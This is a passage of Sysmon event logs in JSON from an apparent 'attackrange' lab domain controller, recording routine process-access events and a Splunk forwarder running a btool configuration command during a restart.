11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3101,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3102,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3103,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3104,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3105,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00105D060500}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-00105D060500}","TargetProcessId":"5008","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3106,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.570\r\nProcessGuid: {90617006-407A-5F2D-0000-00101A090500}\r\nProcessId: 5032\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4078-5F2D-0000-0010C2F50400}\r\nParentProcessId: 4644\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\" restart --waitonpid=2820","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.570","ProcessGuid":"{90617006-407A-5F2D-0000-00101A090500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4078-5F2D-0000-0010C2F50400}","ParentProcessId":"4644","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\" restart --waitonpid=2820","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3107,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.556\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-0010C2F50400}\r\nSourceProcessId: 4644\r\nSourceThreadId: 4636\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00101A090500}\r\nTargetProcessId: 5032\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1893f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+17106|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1385a|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+12176|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+19082|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+d94e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.556","SourceProcessGUID":"{90617006-4078-5F2D-0000-0010C2F50400}","SourceProcessId":"4644","SourceThreadId":"4636","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE","TargetProcessGUID":"{90617006-407A-5F2D-0000-00101A090500}","TargetProcessId":"5032","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1893f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+17106|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1385a|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+12176|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+19082|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+d94e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3108,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.556\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00101A090500}\r\nTargetProcessId: 5032\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.556","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-00101A090500}","TargetProcessId":"5032","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3109,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.556\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.556","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\S